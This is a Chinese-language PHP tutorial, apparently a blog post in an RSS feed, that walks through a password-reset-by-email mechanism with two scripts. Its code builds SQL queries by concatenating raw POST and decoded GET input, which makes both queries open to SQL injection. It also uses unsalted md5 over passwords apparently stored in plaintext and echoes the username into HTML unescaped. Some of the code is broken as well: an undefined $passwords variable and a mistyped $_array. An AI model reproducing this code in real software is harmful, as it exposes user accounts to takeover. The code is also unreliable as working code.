我们假设你已经在config.inc.php文件里配置好了你的sql信息，mail信息<br />*/<br />require_once(&#039;config.inc.php&#039;);</p>
<p>/**<br />* 你需要一下sendmail类来进行邮件发送，我们也假设你已经配置好，并且能正发送邮件<br />*/<br />require_once(&#039;sendMail.inc.php&#039;);</p>
<p>/**<br /> * 首先我们执行查询，得到此用户的相关信息<br /> * 你不要告诉我你不知道$_POST&#91;&#039;username&#039;&#93;是怎么得到的，如果是这样，我郁闷一下你。<br /> * 我使用了adodb的类，并且已经在配置文件中声明过<br />*/<br />$username = trim($_POST&#91;&#039;username&#039;&#93;);</p>
<p>$sql = “select email,passwords from member where username = &#039;”.trim($_POST&#91;&#039;username&#039;&#93;).”&#039;”;<br />$userInfo = $db->FetchRow($sql);</p>
<p>$user_pass = $userInfo&#91;&#039;passwords&#039;&#93;;<br />$user_email = $userInfo&#91;&#039;email&#039;&#93;;</p>
<p>/**<br /> * OK，一些需要的东西我们都有了，看来得进行下步操作了<br /> * 现在让我们产生一个经过md5加密码过的字符串，先不要问为什么，等会再告诉你<br />*/ </p>
<p>$x = md5($username.&#039;+&#039;.$passwords);<br />//现在我们可以发送邮件给用户了。当然，我们还得需要另一个密码重设程序 resetUserPass.php<br />$String = base64_encode($username.”.”.$x);</p>
<p>$sendMail = new sendMail();<br />$subject = “你的密码找回信”;<br />$message = “尊敬的”.$username.”先生/女士：<br />    你使用了本站提供的密码找回功能，如果你确认此密码找回功能是你启用的，请点击下面的链接，按流程进行密码重设。</p>
<p>欢迎你经常访问本站。站长谢谢你经常光顾本站！<br /><Br><a href=&#039;/resetUserPass.php?p=".$String.">确认密码找回</a>“;</p>
<p>if( $sendMail->mailto($user_email,$subject,$message) )<br />{<br />       //信息发送发功了，这里可以执行其它动作。<br />}<br />else<br />{<br />       die(“由于xx原因，你执行的找回密码未能成功！请登陆网站，与站长联系。谢谢”);<br />}<br />?></p>
<p></coolcode><br/><br/><br/>那么好，我们的信件已经成功发出了，哪么用户得到了一个什么样的链接呢？<br/>可能如下：<br/>/resetUserPass.php?p=dT1saXRvdSZ4PTAwZTc1MGZlNmZjOGNkNGYyMjgzMDA3MWJlZDNmZTAw<br/> <br/>用户点击过后，执行我们站点的resetUserPass.php程序。<br/><br/><coolcode></p>
<p><?php<br />require_once(&#039;config.inc.php&#039;);<br />/**<br /> * 用base64_decode解开$_GET&#91;&#039;p&#039;&#93;的值<br />*/<br /> $array = explode(&#039;.&#039;,base64_decode($_GET&#91;&#039;p&#039;&#93;));</p>
<p>/**<br /> * 这时，我们会得到一个数组，$array，里面分别存放了用户名和我们需要一段字符串<br /> * $array&#91;0&#93; 为用户名<br /> * $array&#91;1&#93; 为我们生成的字符串<br />*/<br />//好了，我们开始进行匹配工作吧。</p>
<p>$sql = “select passwords from member where username = &#039;”.trim($_array&#91;&#039;0&#039;&#93;).”&#039;”;</p>
<p>$passwords = $db->GetOne($sql);</p>
<p>/**<br /> * 产生配置码 <br />*/<br /> $checkCode = md5($array&#91;&#039;0&#039;&#93;.&#039;+&#039;.$passwords);</p>
<p>/**<br /> * 进行配置验证： => <br />*/</p>
<p>if( $array&#91;&#039;1&#039;&#93; === $checkCode ){<br />       //执行重置程序，一般给出三个输入框。<br />       Echo “<br />
<input name=username value=&#039;".$array&#91;&#039;0&#039;&#93;."&#039; onlyread>“;<br />       Echo “<br />
<input name=userpasswd type=password>“;<br />       Echo “<br />
<input name=reinput type=password>“;<br />}else{<br />       //给出定义错误页面<br />}</p>
<p>//OK了，接下来的工作是我们进行数据库更新了？这里就不再说了。。。<br />?></p>
<p></coolcode><br/><br/>然后用户进行login。</p>
<h2  class="related_post_title">相关博文</h2><ul class="related_post"><li>2010年07月26日 -- <a href="http://www.5bay.cn/network-programming/eeeeeeee.html" title="最令PHP初学者头痛的十四个问题">最令PHP初学者头痛的十四个问题</a> (0)</li><li>2010年08月17日 -- <a href="http://www.5bay.cn/server-building/nginxxiansu.html" title="Nginx限速">Nginx限速</a> (0)</li><li>2010年07月28日 -- <a href="http://www.5bay.cn/server-building/webshelleechueeee.html" title="Webshell下破解计算机管理员密码">Webshell下破解计算机管理员密码</a> (0)</li><li>2010年07月28日 -- <a href="http://www.5bay.cn/server-building/aoeempirebakeebshell.html" title="帝国备份王(Empirebak)拿webshell">帝国备份王(Empirebak)拿webshell</a> (0)</li><li>2010年07月26日 -- <a href="http://www.5bay.cn/network-programming/phpeeeeeeeehuai.html" title="PHP对文本数据库的基本操作方法">PHP对文本数据库的基本操作方法</a> (0)</li><li>2010年07月26日 -- <a href="http://www.5bay.cn/network-programming/ajaxxuan.html" title="ajax的缺点">ajax的缺点</a> (0)</li><li>2010年05月23日 -- <a href="http://www.5bay.cn/server-building/mysqlyouhuajiquanwensousuo.html" title="mysql优化及全文搜索">mysql优化及全文搜索</a> (0)</li><li>2010年05月23日 -- <a href="http://www.5bay.cn/server-building/nginxderewriteguize.html" title="nginx的rewrite规则">nginx的rewrite规则</a> (1)</li><li>2008年11月12日 -- <a href="http://www.5bay.cn/network-programming/javascript-ajax/documentbodyscrolltop%E4%B8%BA0.html" title="document.body.scrollTop为0">document.body.scrollTop为0</a> (0)</li><li>2006年12月5日 -- <a href="http://www.5bay.cn/network-programming/php/php%E4%BD%9Cwap%E5%BC%80%E5%8F%91%E6%97%B6%E9%81%87%E5%88%B0%E7%9A%84%E9%97%AE%E9%A2%98.html" title="PHP作WAP开发时遇到的问题">PHP作WAP开发时遇到的问题</a> (0)</li><li>2006年12月5日 -- <a href="http://www.5bay.cn/network-programming/php/php%E4%B8%AD%E6%AF%94%E8%BE%83%E5%80%BC%E5%BE%97%E6%8E%A8%E8%8D%90%E7%9A%84%E6%95%B0%E6%8D%AE%E9%AA%8C%E8%AF%81%E7%9A%84%E7%B1%BB.html" title="PHP中比较值得推荐的数据验证的类">PHP中比较值得推荐的数据验证的类</a> (0)</li><li>2006年10月27日 -- <a href="http://www.5bay.cn/network-programming/php/php%E4%B8%8A%E4%BC%A0%E6%96%87%E4%BB%B6%E4%BE%8B%E5%AD%90.html" title="PHP上传文件例子">PHP上传文件例子</a> (0)</li><li>2006年10月26日 -- <a href="http://www.5bay.cn/network-programming/php/%E4%BD%BF%E7%94%A8php%E7%9A%84zlib%E5%8E%8B%E7%BC%A9%E5%92%8C%E8%A7%A3%E5%8E%8B%E7%BC%A9swf%E6%96%87%E4%BB%B6.html" title="使用php的zlib压缩和解压缩swf文件">使用php的zlib压缩和解压缩swf文件</a> (0)</li><li>2006年10月12日 -- <a href="http://www.5bay.cn/network-programming/asp/%5Basp%5Dcodepageandutf8.html" title="[asp]CodePage And UTF8">[asp]CodePage And UTF8</a> (0)</li><li>2011年06月29日 -- <a href="http://www.5bay.cn/me/kaiyuanruanjiandeyinglimoshi.html" title="开源软件的盈利模式">开源软件的盈利模式</a> (0)</li></ul>
	标签Tags：<a href="http://www.5bay.cn/tag/code" title="code" rel="tag">code</a>, <a href="http://www.5bay.cn/category/network-programming/php" title="PHP" rel="tag">PHP</a>, <a href="http://www.5bay.cn/tag/php" title="PHP" rel="tag">PHP</a>, <a href="http://www.5bay.cn/tag/%E5%AF%86%E7%A0%81" title="密码" rel="tag">密码</a>, <a href="http://www.5bay.cn/tag/%E6%94%B6%E8%97%8F" title="收藏" rel="tag">收藏</a><br />
]]></content:encoded>
			<wfw:commentRss>http://www.5bay.cn/network-programming/php/php%E6%89%BE%E5%9B%9E%E5%AF%86%E7%A0%81%E6%9C%BA%E5%88%B6%E6%B5%81%E7%A8%8B.html/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
	</channel>
</rss>

